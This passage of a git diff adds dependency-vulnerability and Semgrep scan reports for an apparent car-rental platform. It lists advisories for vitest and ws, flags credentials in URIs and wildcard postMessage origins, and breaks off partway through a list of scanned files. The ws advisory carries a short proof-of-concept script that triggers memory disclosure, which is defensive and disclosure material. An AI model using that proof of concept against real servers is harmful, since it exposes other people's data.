+ "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-5xrq-8626-4rwp"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vitest-dev/vitest"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/commands/fs.ts#L10-L11"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/plugin.ts#L194-L196"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/rpc.ts#L115-L121"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L103-L105"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L119-L121"
+ }
+ ],
+ "related": [
+ "CGA-4f2m-9q3j-j5mc"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "When Vitest UI server is listening, arbitrary file can be read and executed"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "ws",
+ "version": "8.18.3",
+ "ecosystem": "npm"
+ },
+ "groups": [
+ {
+ "ids": [
+ "GHSA-58qx-3vcg-4xpx"
+ ],
+ "aliases": [
+ "CVE-2026-45736",
+ "GHSA-58qx-3vcg-4xpx"
+ ],
+ "max_severity": "4.4"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-58qx-3vcg-4xpx/GHSA-58qx-3vcg-4xpx.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "ws",
+ "purl": "pkg:npm/ws"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "8.0.0"
+ },
+ {
+ "fixed": "8.20.1"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-45736"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-908"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-18T19:02:40Z",
+ "nvd_published_at": "2026-05-15T15:16:54Z",
+ "severity": "MODERATE"
+ },
+ "details": "### Impact\n\nThe `websocket.close()` implementation is vulnerable to uninitialized memory disclosure when a `TypedArray` is passed as the reason argument.\n\n### Proof of concept\n\n```js\nimport { deepStrictEqual } from 'node:assert';\nimport { WebSocket, WebSocketServer } from 'ws';\n\nconst wss = new WebSocketServer(\n { port: 0, skipUTF8Validation: true },\n function () {\n const { port } = wss.address();\n const ws = new WebSocket(`ws://localhost:${port}`, {\n skipUTF8Validation: true\n });\n\n ws.on('close', function (code, reason) {\n deepStrictEqual(reason, Buffer.alloc(80));\n });\n }\n);\n\nwss.on('connection', function (ws) {\n ws.close(1000, new Float32Array(20));\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).\n\n### Credits\n\nCredit for the private and responsible disclosure of this issue goes to [Nikita Skovoroda](https://github.com/ChALkeR).\n\n### Remarks\n\nAlthough the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.\n\n### Resources\n\n- https://github.com/advisories/GHSA-58qx-3vcg-4xpx\n- https://www.cve.org/CVERecord?id=CVE-2026-45736",
+ "id": "GHSA-58qx-3vcg-4xpx",
+ "modified": "2026-05-20T14:14:16.832659554Z",
+ "published": "2026-05-18T19:02:40Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/websockets/ws/security/advisories/GHSA-58qx-3vcg-4xpx"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45736"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/websockets/ws"
+ }
+ ],
+ "related": [
+ "CGA-342g-4fmm-4xmf"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "ws: Uninitialized memory disclosure"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "experimental_config": {
+ "licenses": {
+ "summary": false,
+ "allowlist": null
+ }
+ }
+}
diff --git a/security-reports/semgrep.json b/security-reports/semgrep.json
new file mode 100644
index 0000000..15d4e4b
--- /dev/null
+++ b/security-reports/semgrep.json
@@ -0,0 +1 @@
+{"version":"1.164.0","results":[{"check_id":"generic.secrets.security.detected-username-and-password-in-uri.detected-username-and-password-in-uri","path":".env.docker.production.example","start":{"line":23,"col":14,"offset":1379},"end":{"line":23,"col":64,"offset":1429},"extra":{"message":"Username and password in URI detected","metadata":{"owasp":["A07:2021 - Identification and Authentication Failures","A07:2025 - Authentication Failures"],"cwe":["CWE-798: Use of Hard-coded Credentials"],"references":["https://github.com/grab/secret-scanner/blob/master/scanner/signatures/pattern.go"],"category":"security","technology":["secrets"],"confidence":"MEDIUM","cwe2022-top25":true,"cwe2021-top25":true,"subcategory":["vuln"],"likelihood":"MEDIUM","impact":"MEDIUM","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Hard-coded Secrets"],"source":"https://semgrep.dev/r/generic.secrets.security.detected-username-and-password-in-uri.detected-username-and-password-in-uri","shortlink":"https://sg.run/8yA4"},"severity":"ERROR","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}},{"check_id":"generic.secrets.security.detected-username-and-password-in-uri.detected-username-and-password-in-uri","path":".env.example","start":{"line":7,"col":15,"offset":659},"end":{"line":7,"col":66,"offset":710},"extra":{"message":"Username and password in URI detected","metadata":{"owasp":["A07:2021 - Identification and Authentication Failures","A07:2025 - Authentication Failures"],"cwe":["CWE-798: Use of Hard-coded Credentials"],"references":["https://github.com/grab/secret-scanner/blob/master/scanner/signatures/pattern.go"],"category":"security","technology":["secrets"],"confidence":"MEDIUM","cwe2022-top25":true,"cwe2021-top25":true,"subcategory":["vuln"],"likelihood":"MEDIUM","impact":"MEDIUM","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Hard-coded Secrets"],"source":"https://semgrep.dev/r/generic.secrets.security.detected-username-and-password-in-uri.detected-username-and-password-in-uri","shortlink":"https://sg.run/8yA4"},"severity":"ERROR","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}},{"check_id":"javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","path":"apps/dashboard/src/app/sign-in/[[...sign-in]]/SignInPageClient.tsx","start":{"line":17,"col":3,"offset":706},"end":{"line":17,"col":42,"offset":745},"extra":{"message":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message.","metadata":{"owasp":["A08:2021 - Software and Data Integrity Failures","A08:2025 - Software or Data Integrity Failures"],"cwe":["CWE-345: Insufficient Verification of Data Authenticity"],"category":"security","technology":["browser"],"subcategory":["audit"],"likelihood":"HIGH","impact":"MEDIUM","confidence":"MEDIUM","references":["https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures"],"license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Improper Authentication"],"source":"https://semgrep.dev/r/javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","shortlink":"https://sg.run/PJ4p"},"severity":"WARNING","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}},{"check_id":"javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","path":"apps/dashboard/src/components/layout/Sidebar.tsx","start":{"line":133,"col":3,"offset":4162},"end":{"line":133,"col":42,"offset":4201},"extra":{"message":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message.","metadata":{"owasp":["A08:2021 - Software and Data Integrity Failures","A08:2025 - Software or Data Integrity Failures"],"cwe":["CWE-345: Insufficient Verification of Data Authenticity"],"category":"security","technology":["browser"],"subcategory":["audit"],"likelihood":"HIGH","impact":"MEDIUM","confidence":"MEDIUM","references":["https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures"],"license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Improper Authentication"],"source":"https://semgrep.dev/r/javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","shortlink":"https://sg.run/PJ4p"},"severity":"WARNING","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}},{"check_id":"generic.secrets.security.detected-username-and-password-in-uri.detected-username-and-password-in-uri","path":"results/summaries/PCI_DSS_COMPLIANCE.md","start":{"line":74,"col":30,"offset":2112},"end":{"line":74,"col":80,"offset":2162},"extra":{"message":"Username and password in URI detected","metadata":{"owasp":["A07:2021 - Identification and Authentication Failures","A07:2025 - Authentication Failures"],"cwe":["CWE-798: Use of Hard-coded Credentials"],"references":["https://github.com/grab/secret-scanner/blob/master/scanner/signatures/pattern.go"],"category":"security","technology":["secrets"],"confidence":"MEDIUM","cwe2022-top25":true,"cwe2021-top25":true,"subcategory":["vuln"],"likelihood":"MEDIUM","impact":"MEDIUM","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Hard-coded Secrets"],"source":"https://semgrep.dev/r/generic.secrets.security.detected-username-and-password-in-uri.detected-username-and-password-in-uri","shortlink":"https://sg.run/8yA4"},"severity":"ERROR","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}},{"check_id":"generic.secrets.security.detected-username-and-password-in-uri.detected-username-and-password-in-uri","path":"results/summaries/PCI_DSS_COMPLIANCE.md","start":{"line":100,"col":30,"offset":2920},"end":{"line":100,"col":80,"offset":2970},"extra":{"message":"Username and password in URI detected","metadata":{"owasp":["A07:2021 - Identification and Authentication Failures","A07:2025 - Authentication Failures"],"cwe":["CWE-798: Use of Hard-coded Credentials"],"references":["https://github.com/grab/secret-scanner/blob/master/scanner/signatures/pattern.go"],"category":"security","technology":["secrets"],"confidence":"MEDIUM","cwe2022-top25":true,"cwe2021-top25":true,"subcategory":["vuln"],"likelihood":"MEDIUM","impact":"MEDIUM","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Hard-coded Secrets"],"source":"https://semgrep.dev/r/generic.secrets.security.detected-username-and-password-in-uri.detected-username-and-password-in-uri","shortlink":"https://sg.run/8yA4"},"severity":"ERROR","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}}],"errors":[{"code":3,"level":"warn","type":"Syntax error","message":"Syntax error at line results/individual-repos/scan/trufflehog.json:2:\n `{` was unexpected","path":"results/individual-repos/scan/trufflehog.json"},{"code":3,"level":"warn","type":["PartialParsing",[{"path":"scripts/docker-prod-deploy.sh","start":{"line":8,"col":49,"offset":0},"end":{"line":8,"col":50,"offset":1}},{"path":"scripts/docker-prod-deploy.sh","start":{"line":8,"col":57,"offset":0},"end":{"line":8,"col":58,"offset":1}},{"path":"scripts/docker-prod-deploy.sh","start":{"line":8,"col":75,"offset":0},"end":{"line":8,"col":76,"offset":1}},{"path":"scripts/docker-prod-deploy.sh","start":{"line":8,"col":83,"offset":0},"end":{"line":8,"col":84,"offset":1}}]],"message":"Syntax error at line scripts/docker-prod-deploy.sh:8:\n `<` was unexpected","path":"scripts/docker-prod-deploy.sh","spans":[{"file":"scripts/docker-prod-deploy.sh","start":{"line":8,"col":49,"offset":0},"end":{"line":8,"col":50,"offset":1}},{"file":"scripts/docker-prod-deploy.sh","start":{"line":8,"col":57,"offset":0},"end":{"line":8,"col":58,"offset":1}},{"file":"scripts/docker-prod-deploy.sh","start":{"line":8,"col":75,"offset":0},"end":{"line":8,"col":76,"offset":1}},{"file":"scripts/docker-prod-deploy.sh","start":{"line":8,"col":83,"offset":0},"end":{"line":8,"col":84,"offset":1}}]}],"paths":{"scanned":[".claude/settings.local.json",".codex",".dockerignore",".env.docker.dev",".env.docker.production.example",".env.docker.production.generated",".env.docker.test",".env.example",".env_traefik",".gitignore",".gitlab-ci.yml","Dockerfile.dev","Dockerfile.production","Dockerfile.test","apps/admin/next-env.d.ts","apps/admin/next.config.js","apps/admin/package.json","apps/admin/postcss.config.js","apps/admin/src/app/auth-redirect/page.tsx","apps/admin/src/app/dashboard/admin-users/page.tsx","apps/admin/src/app/dashboard/audit-logs/page.tsx","apps/admin/src/app/dashboard/billing/page.tsx","apps/admin/src/app/dashboard/companies/[id]/page.tsx","apps/admin/src/app/dashboard/companies/page.tsx","apps/admin/src/app/dashboard/containers/page.tsx","apps/admin/src/app/dashboard/layout.tsx","apps/admin/src/app/dashboard/menu-management/page.tsx","apps/admin/src/app/dashboard/notifications/page.tsx","apps/admin/src/app/dashboard/page.tsx","apps/admin/src/app/dashboard/pricing/page.tsx","apps/admin/src/app/dashboard/renters/page.tsx","apps/admin/src/app/dashboard/site-config/page.tsx","apps/admin/src/app/favicon.ico/route.ts","apps/admin/src/app/forgot-password/page.tsx","apps/admin/src/app/globals.css","apps/admin/src/app/icon.tsx","apps/admin/src/app/layout.tsx","apps/admin/src/app/login/page.tsx","apps/admin/src/app/page.tsx","apps/admin/src/app/reset-password/page.tsx","apps/admin/src/components/I18nProvider.tsx","apps/admin/src/components/PublicFooter.tsx","apps/admin/src/components/PublicHeader.tsx","apps/admin/src/components/PublicShell.tsx","apps/admin/src/lib/api.ts","apps/admin/src/lib/appUrls.ts","apps/admin/tailwind.config.ts","apps/admin/tsconfig.json","apps/api/.env.test","apps/api/package.json","apps/api/src/app.ts","apps/api/src/data/platform-content.json","apps/api/src/http/errors/errorMiddleware.ts","apps/api/src/http/errors/index.ts","apps/api/src/http/respond/index.ts","apps/api/src/http/upload/index.ts","apps/api/src/http/validate/index.ts","apps/api/src/index.ts","apps/api/src/lib/emailTranslations.ts","apps/api/src/lib/isDatabaseUnavailable.ts","apps/api/src/lib/prisma.ts","apps/api/src/lib/redis.ts","apps/api/src/lib/storage/.gitkeep","apps/api/src/lib/storage/companies/cmoyu36ii000112g8j5m84zgv/vehicles/1959e058bf32f7f672cbea6b7683f88b.jpg","apps/api/src/lib/storage/companies/cmoyu36ii000112g8j5m84zgv/vehicles/d9b8c7164544f5d971a1ea09dba1ba38.jpg","apps/api/src/lib/storage/companies/cmoyu36ii000112g8j5m84zgv/vehicles/eae81e21ca0017a9d22eb92b64ff0c42.jpg","apps/api/src/lib/storage/companies/cmp1s6doc0003wims028due25/brand/logo.jpg","apps/api/src/lib/storage/companies/cmp1s6doc0003wims028due25/vehicles/02d49acd5dfd85c60ee1758a14dbef07.jpg","apps/api/src/lib/storage/companies/cmpbosg0o0001bh8tc433zxt2/vehicles/c2c92f69332b855e21ffeb95229a4add.jpg","apps/api/src/lib/storage.ts","apps/api/src/middleware/authHelpers.ts","apps/api/src/middleware/rateLimiter.ts","apps/api/src/middleware/requireAdminAuth.ts","apps/api/src/middleware/requireApiKey.ts","apps/api/src/middleware/requireCompanyAuth.ts","apps/api/src/middleware/requireRenterAuth.ts","apps/api/src/middleware/requireRole.ts","apps/api/src/middleware/requireSubscription.ts","apps/api/src/middleware/requireTenant.ts","apps/api/src/modules/admin/admin.billing.service.ts","apps/api/src/modules/admin/admin.presenter.ts","apps/api/src/modules/admin/admin.repo.test.ts","apps/api/src/modules/admin/admin.repo.ts","apps/api/src/modules/admin/admin.routes.ts","apps/api/src/modules/admin/admin.schemas.ts","apps/api/src/modules/admin/admin.service.test.ts","apps/api/src/modules/admin/admin.service.ts","apps/api/src/modules/analytics/analytics.routes.ts","apps/api/src/modules/analytics/analytics.schemas.ts","apps/api/src/modules/analytics/analytics.service.ts","apps/api/src/modules/auth/auth.company.repo.ts","apps/api/src/modules/auth/auth.company.routes.ts","apps/api/src/modules/auth/auth.company.schemas.ts","apps/api/src/modules/auth/auth.company.service.ts","apps/api/src/modules/auth/auth.employee.repo.test.ts","apps/api/src/modules/auth/auth.employee.repo.ts","apps/api/src/modules/auth/auth.employee.routes.ts","apps/api/src/modules/auth/auth.employee.schemas.ts","apps/api/src/modules/auth/auth.employee.service.test.ts","apps/api/src/modules/auth/auth.employee.service.ts","apps/api/src/modules/auth/auth.presenter.ts","apps/api/src/modules/auth/auth.renter.repo.ts","apps/api/src/modules/auth/auth.renter.routes.ts","apps/api/src/modules/auth/auth.renter.schemas.ts","apps/api/src/modules/auth/auth.renter.service.ts","apps/api/src/modules/companies/company.presenter.test.ts","apps/api/src/modules/companies/company.presenter.ts","apps/api/src/modules/companies/company.repo.ts","apps/api/src/modules/companies/company.routes.ts","apps/api/src/modules/companies/company.schemas.ts","apps/api/src/modules/companies/company.service.ts","apps/api/src/modules/companies/company.test.ts","apps/api/src/modules/complaints/complaint.repo.ts","apps/api/src/modules/complaints/complaint.routes.ts","apps/api/src/modules/complaints/complaint.schemas.ts","apps/api/src/modules/complaints/complaint.service.ts","apps/api/src/modules/customers/customer.presenter.ts","apps/api/src/modules/customers/customer.repo.ts","apps/api/src/modules/customers/customer.routes.ts","apps/api/src/modules/customers/customer.schemas.ts","apps/api/src/modules/customers/customer.service.ts","apps/api/src/modules/customers/customer.test.ts","apps/api/src/modules/marketplace/marketplace.presenter.ts","apps/api/src/modules/marketplace/marketplace.repo.ts","apps/api/src/modules/marketplace/marketplace.routes.ts","apps/api/src/modules/marketplace/marketplace.schemas.ts","apps/api/src/modules/marketplace/marketplace.service.ts","apps/api/src/modules/marketplace/marketplace.test.ts","apps/api/src/modules/menu/menu.service.test.ts","apps/api/src/modules/menu/menu.service.ts","apps/api/src/modules/notifications/notification.repo.ts","apps/api/src/modules/notifications/notification.routes.ts","apps/api/src/modules/notifications/notification.schemas.ts","apps/api/src/modules/notifications/notification.service.ts","apps/api/src/modules/offers/offer.repo.ts","apps/api/src/modules/offers/offer.routes.ts","apps/api/src/modules/offers/offer.schemas.ts","apps/api/src/modules/offers/offer.service.ts","apps/api/src/modules/payments/payment.repo.ts","apps/api/src/modules/payments/payment.routes.ts","apps/api/src/modules/payments/payment.schemas.ts","apps/api/src/modules/payments/payment.service.ts","apps/api/src/modules/reservations/reservation.additional-driver.service.ts","apps/api/src/modules/reservations/reservation.document.service.ts","apps/api/src/modules/reservations/reservation.inspection.service.ts","apps/api/src/modules/reservations/reservation.insurance.service.ts","apps/api/src/modules/reservations/reservation.lifecycle.service.ts","apps/api/src/modules/reservations/reservation.photo.service.ts","apps/api/src/modules/reservations/reservation.presenter.test.ts","apps/api/src/modules/reservations/reservation.presenter.ts","apps/api/src/modules/reservations/reservation.pricing.service.ts","apps/api/src/modules/reservations/reservation.repo.ts","apps/api/src/modules/reservations/reservation.routes.ts","apps/api/src/modules/reservations/reservation.schemas.ts","apps/api/src/modules/reservations/reservation.service.ts","apps/api/src/modules/reservations/reservation.test.ts","apps/api/src/modules/reviews/review.repo.ts","apps/api/src/modules/reviews/review.routes.ts","apps/api/src/modules/reviews/review.schemas.ts","apps/api/src/modules/reviews/review.service.ts","apps/api/src/modules/site/site.presenter.ts","apps/api/src/modules/site/site.repo.ts","apps/api/src/modules/site/site.routes.ts","apps/api/src/modules/site/site.schemas.ts","apps/api/src/modules/site/site.service.ts","apps/api/src/modules/site/site.test.ts","apps/api/src/modules/subscriptions/subscription.entitlement.ts","apps/api/src/modules/subscriptions/subscription.policy.ts","apps/api/src/modules/subscriptions/subscription.repo.ts","apps/api/src/modules/subscriptions/subscription.routes.ts","apps/api/src/modules/subscriptions/subscription.schemas.ts","apps/api/src/modules/subscriptions/subscription.service.ts","apps/api/src/modules/team/team.routes.ts","apps/api/src/modules/team/team.schemas.ts","apps/api/src/modules/team/team.service.ts","apps/api/src/modules/vehicles/vehicle.presenter.ts","apps/api/src/modules/vehicles/vehicle.repo.ts","apps/api/src/modules/vehicles/vehicle.routes.ts","apps/api/src/modules/vehicles/vehicle.schemas.ts","apps/api/src/modules/vehicles/vehicle.service.ts","apps/api/src/modules/vehicles/vehicle.test.ts","apps/api/src/modules/webhooks/webhook.routes.ts","apps/api/src/services/additionalDriverService.ts","apps/api/src/services/amanpayService.ts","apps/api/src/services/containerService.ts","apps/api/src/services/financialReportService.ts","apps/api/src/services/insuranceService.ts","apps/api/src/services/invoicePdfService.ts","apps/api/src/services/licenseValidationService.ts","apps/api/src/services/notificationLocalizationService.test.ts","apps/api/src/services/notificationLocalizationService.ts","apps/api/src/services/notificationService.ts","apps/api/src/services/paypalService.ts","apps/api/src/services/platformContentService.ts","apps/api/src/services/pricingRuleService.ts","apps/api/src/services/teamService.test.ts","apps/api/src/services/teamService.ts","apps/api/src/services/vehicleAvailabilityService.ts","apps/api/src/swagger/openapi.ts","apps/api/src/types/express.d.ts","apps/api/tsconfig.json","apps/api/tsconfig.vehicle-pricing.json","apps/api/vitest.config.ts","apps/api/vitest.integration.config.ts","apps/dashboard/README.md","apps/dashboard/next-env.d.ts","apps/dashboard/next.config.js","apps/dashboard/package.json","apps/dashboard/postcss.config.js","apps/dashboard/public/vehicle-condition-template.png","apps/dashboard/src/app/(dashboard)/billing/page.tsx","apps/dashboard/src/app/(dashboard)/complaints/page.tsx","apps/dashboard/src/app/(dashboard)/contracts/[id]/page.tsx","apps/dashboard/src/app/(dashboard)/contracts/page.tsx","apps/dashboard/src/app/(dashboard)/customers/page.tsx","apps/dashboard/src/app/(dashboard)/fleet/[id]/page.tsx","apps/dashboard/src/app/(dashboard)/fleet/page.tsx","apps/dashboard/src/app/(dashboard)/layout.tsx","apps/dashboard/src/app/(dashboard)/notifications/page.tsx","apps/dashboard/src/app/(dashboard)/offers/page.tsx","apps/dashboard/src/app/(dashboard)/online-reservations/page.tsx","apps/dashboard/src/app/(dashboard)/page.tsx","apps/dashboard/src/app/(dashboard)/reports/page.tsx","apps/dashboard/src/app/(dashboard)/reservations/[id]/page.tsx","apps/dashboard/src/app/(dashboard)/reservations/new/page.tsx","apps/dashboard/src/app/(dashboard)/reservations/page.tsx","apps/dashboard/src/app/(dashboard)/reviews/page.tsx","apps/dashboard/src/app/(dashboard)/settings/page.tsx","apps/dashboard/src/app/(dashboard)/subscription/page.tsx","apps/dashboard/src/app/(dashboard)/team/page.tsx","apps/dashboard/src/app/(public)/layout.tsx","apps/dashboard/src/app/(public)/sign-in/page.tsx","apps/dashboard/src/app/forgot-password/ForgotPasswordPageClient.tsx","apps/dashboard/src/app/forgot-password/page.tsx","apps/dashboard/src/app/globals.css","apps/dashboard/src/app/icon.svg","apps/dashboard/src/app/layout.tsx","apps/dashboard/src/app/onboarding/accept-invite/page.tsx","apps/dashboard/src/app/onboarding/page.tsx","apps/dashboard/src/app/reset-password/ResetPasswordPageClient.tsx","apps/dashboard/src/app/reset-password/page.tsx","apps/dashboard/src/app/sign-in/[[...sign-in]]/SignInPageClient.tsx","apps/dashboard/src/app/sign-up/[[...sign-up]]/page.tsx","apps/dashboard/src/components/I18nProvider.tsx","apps/dashboard/src/components/VehicleCalendar.tsx","apps/dashboard/src/components/VehiclePricingManager.tsx","apps/dashboard/src/components/layout/DashboardAccessGuard.tsx","apps/dashboard/src/components/layout/PublicFooter.tsx","apps/dashboard/src/components/layout/PublicHeader.tsx","apps/dashboard/src/components/layout/PublicShell.tsx","apps/dashboard/src/components/layout/Sidebar.tsx","apps/dashboard/src/components/layout/TopBar.tsx","apps/dashboard/src/components/reservations/DamageInspectionCard.tsx","apps/dashboard/src/components/reservations/ReservationPhotoSection.tsx","apps/dashboard/src/components/reservations/VehicleConditionSheet.tsx","apps/dashboard/src/components/team/EditMemberModal.tsx","apps/dashboard/src/components/team/InviteModal.tsx","apps/dashboard/src/components/team/PermissionsMatrix.tsx","apps/dashboard/src/components/ui/BilingualInput.tsx","apps/dashboard/src/components/ui/StatCard.tsx","apps/dashboard/src/hooks/useTeam.ts","apps/dashboard/src/lib/api.ts","apps/dashboard/src/lib/appUrls.ts","apps/dashboard/src/lib/dashboardPaths.ts","apps/dashboard/src/lib/preferences.ts","apps/dashboard/src/lib/urls.ts","apps/dashboard/src/middleware.ts","apps/dashboard/tailwind.config.ts","apps/dashboard/tsconfig.json","apps/marketplace/next-env.d.ts","apps/marketplace/next.config.js","apps/marketplace/package.json","apps/marketplace/postcss.config.js","apps/marketplace/src/app/(public)/HomeContent.tsx","apps/marketplace/src/app/(public)/app-privacy-ar/page.tsx","apps/marketplace/src/app/(public)/app-privacy-en/page.tsx","apps/marketplace/src/app/(public)/app-privacy-fr/page.tsx","apps/marketplace/src/app/(public)/app-tc-ar/page.tsx","apps/marketplace/src/app/(public)/app-tc-en/page.tsx","apps/marketplace/src/app/(public)/app-tc-fr/page.tsx","apps/marketplace/src/app/(public)/company-workspace/page.tsx","apps/marketplace/src/app/(public)/explore/ExploreSearchForm.tsx","apps/marketplace/src/app/(public)/explore/ExploreVehicleGrid.tsx","apps/marketplace/src/app/(public)/explore/[slug]/page.tsx","apps/marketplace/src/app/(public)/explore/[slug]/vehicles/[id]/page.tsx","apps/marketplace/src/app/(public)/explore/page.tsx","apps/marketplace/src/app/(public)/features/page.tsx","apps/marketplace/src/app/(public)/footer/[slug]/page.tsx","apps/marketplace/src/app/(public)/layout.tsx","apps/marketplace/src/app/(public)/page.tsx","apps/marketplace/src/app/(public)/platform-operations/page.tsx","apps/marketplace/src/app/(public)/pricing/PricingClient.tsx","apps/marketplace/src/app/(public)/pricing/PricingPageContent.tsx","apps/marketplace/src/app/(public)/pricing/page.tsx","apps/marketplace/src/app/(public)/review/page.tsx","apps/marketplace/src/app/globals.css","apps/marketplace/src/app/layout.tsx","apps/marketplace/src/app/renter/dashboard/page.tsx","apps/marketplace/src/app/renter/layout.tsx","apps/marketplace/src/app/renter/notifications/page.tsx","apps/marketplace/src/app/renter/profile/page.tsx","apps/marketplace/src/app/renter/saved-companies/page.tsx","apps/marketplace/src/app/renter/sign-in/page.tsx","apps/marketplace/src/app/renter/sign-up/page.tsx","apps/marketplace/src/app/sign-in/page.tsx","apps/marketplace/src/components/BookingForm.tsx","apps/marketplace/src/components/FooterContentPage.tsx","apps/marketplace/src/components/MarketplaceFooter.tsx","apps/marketplace/src/components/MarketplaceHeader.tsx","apps/marketplace/src/components/MarketplaceShell.tsx","apps/marketplace/src/components/RenterShell.tsx","apps/marketplace/src/components/WorkspaceFrame.tsx","apps/marketplace/src/components/WorkspaceTabs.tsx","apps/marketplace/src/lib/api.ts","apps/marketplace/src/lib/appUrls.ts","apps/marketplace/src/lib/footerContent.ts","apps/marketplace/src/lib/i18n.server.ts","apps/marketplace/src/lib/i18n.ts","apps/marketplace/src/lib/preferences.ts","apps/marketplace/src/lib/renter.ts","apps/marketplace/src/middleware.ts","apps/marketplace/tailwind.config.ts","apps/marketplace/tsconfig.json","car_management_system.code-workspace","car_rental_app.code-workspace","command_to_run_dev.txt","deploy_dev.txt","docker/pgadmin/servers.json","docker/pgmanage/override.py","docker/scripts/dev-bootstrap.sh","docker/scripts/npm","docker-compose.dev.yml","docker-compose.pgmanage.yml","docker-compose.portainer.production.yml","docker-compose.production.yml","docker-compose.registry.local.yml","docker-compose.registry.production.yml","docker-compose.test.yml","docs/DOCKER.md","docs/README.md","docs/dev_docker_run.md","docs/project-design/API_REFACTOR_TASK_LIST.md","docs/project-design/AUDIT.md","docs/project-design/B2B_BILLING_AND_INVOICE_EXECUTION_PLAN.md","docs/project-design/B2B_SUBSCRIPTION_EXECUTION_PLAN.md","docs/project-design/COOKIE_POLICY.md","docs/project-design/FEATURES.md","docs/project-design/INTEGRATION.md","docs/project-design/NOTIFICATION_LOCALIZATION_POLICY.md","docs/project-design/PAGES.md","docs/project-design/VULNERABILITY_FIXES_2026-05-22.md","docs/project-design/advanced-features.md","docs/project-design/api-routes.md","docs/project-design/command_Create_admin_account.md","docs/project-design/contrat_location_voiture_maroc_with_laws.md","docs/project-design/review_management_process.md","docs/project-design/schema.md","docs/project-design/simple_robust_car_rental_process.md","docs/rental_car_pricing_management_plan.md","docs/stubs/EditMemberModal.tsx","docs/stubs/InviteModal.tsx","docs/stubs/PermissionsMatrix.tsx","docs/stubs/requireRole.ts","docs/stubs/team.ts","docs/stubs/team.tsx","docs/stubs/teamService.ts","docs/stubs/useTeam.ts","docs/stubs/webhooks.ts","docs/website-admin-menu-management-plan.md","memory/MEMORY.md","memory/project_auth_architecture.md","package-lock.json","package.json","packages/database/client.d.ts","packages/database/client.js","packages/database/package.json","packages/database/prisma/migrations/00000000000000_init/migration.sql","packages/database/prisma/migrations/20260507000000_add_company_containers/migration.sql","packages/database/prisma/migrations/20260508000000_add_employee_password_hash/migration.sql","packages/database/prisma/migrations/20260508000001_add_password_reset_tokens/migration.sql","packages/data